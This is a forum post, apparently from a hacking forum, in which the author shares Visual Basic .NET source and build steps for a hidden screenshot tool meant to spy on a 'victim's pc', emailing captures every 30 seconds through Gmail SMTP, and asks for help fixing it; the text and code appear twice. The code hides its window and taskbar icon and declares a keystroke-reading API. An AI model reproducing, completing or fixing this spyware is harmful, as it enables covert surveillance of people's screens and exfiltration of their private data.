Building A email sending Screenshot taker 02-23-2013, 02:14 AM
#1
Hello everybody, during the past few weeks ive been trying to make a remote screenshot taker so that it can take screenshots of our victim's pc every *30 seconds, and then send me back the picture to my email.
Ive made it in Visual Studio 2010 btw.
So far ive managed to make it to work parcially, since the app only takes ONE screenshot and then it stops working.
I get the screenshot crystal clear to my mail, but i just cant figure out how to make it so it keeps sending me screenshots. It just close or just it just keep on sending the same picture instead of taking new screenshots.
Here, i post my progress so far. i will not upload any file as a lot of people complain about virus scans, so i decided to just post the source code and give instructions on how to make it. its simple though:
1) first create a form with:
*a button named "Button"
*a PictureBox1
*and 2 timers. one called "Timer1"(interval 10000) and the other "tmrEmail" (interval 30000)
2) then, the code goes something like this:
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Try
Dim SmtpServer As New SmtpClient
SmtpServer.EnableSsl = True
Dim mail As New MailMessage
SmtpServer.Credentials = New Net.NetworkCredential("EMAILADRESS", "emailPASSWORD")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
mail = New MailMessage
mail.From = New MailAddress("EMAILADRESS")
mail.To.Add("EMAILADRESS")
mail.Subject = ("fotoo")
mail.Body = "Pics"
Dim attachment As System.Net.Mail.Attachment
attachment = New System.Net.Mail.Attachment("DESIRED LOCATION TO SAVE THE PHOTO")
mail.Attachments.Add(attachment)
SmtpServer.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False
Me.ShowIcon = False
Me.Visible = False
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Button.PerformClick()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button.Click
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
PictureBox1.Image.Save("DESIRED LOCATION TO SAVE THE PHOTO", System.Drawing.Imaging.ImageFormat.Jpeg)
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Button.PerformClick()
End Sub
End Class
Help will be much appreciated, concider my efforts done here, but i guess ive just pushed myself to the limit and cant figure out what to do know.
Thanks :headbash:
Ive made it in Visual Studio 2010 btw.
So far ive managed to make it to work parcially, since the app only takes ONE screenshot and then it stops working.
I get the screenshot crystal clear to my mail, but i just cant figure out how to make it so it keeps sending me screenshots. It just close or just it just keep on sending the same picture instead of taking new screenshots.
Here, i post my progress so far. i will not upload any file as a lot of people complain about virus scans, so i decided to just post the source code and give instructions on how to make it. its simple though:
1) first create a form with:
*a button named "Button"
*a PictureBox1
*and 2 timers. one called "Timer1"(interval 10000) and the other "tmrEmail" (interval 30000)
2) then, the code goes something like this:
Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Try
Dim SmtpServer As New SmtpClient
SmtpServer.EnableSsl = True
Dim mail As New MailMessage
SmtpServer.Credentials = New Net.NetworkCredential("EMAILADRESS", "emailPASSWORD")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
mail = New MailMessage
mail.From = New MailAddress("EMAILADRESS")
mail.To.Add("EMAILADRESS")
mail.Subject = ("fotoo")
mail.Body = "Pics"
Dim attachment As System.Net.Mail.Attachment
attachment = New System.Net.Mail.Attachment("DESIRED LOCATION TO SAVE THE PHOTO")
mail.Attachments.Add(attachment)
SmtpServer.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False
Me.ShowIcon = False
Me.Visible = False
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Button.PerformClick()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button.Click
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
PictureBox1.Image.Save("DESIRED LOCATION TO SAVE THE PHOTO", System.Drawing.Imaging.ImageFormat.Jpeg)
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Button.PerformClick()
End Sub
End Class
Help will be much appreciated, concider my efforts done here, but i guess ive just pushed myself to the limit and cant figure out what to do know.
Thanks :headbash:
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)

![[Image: rytwG00.png]](http://i.imgur.com/rytwG00.png)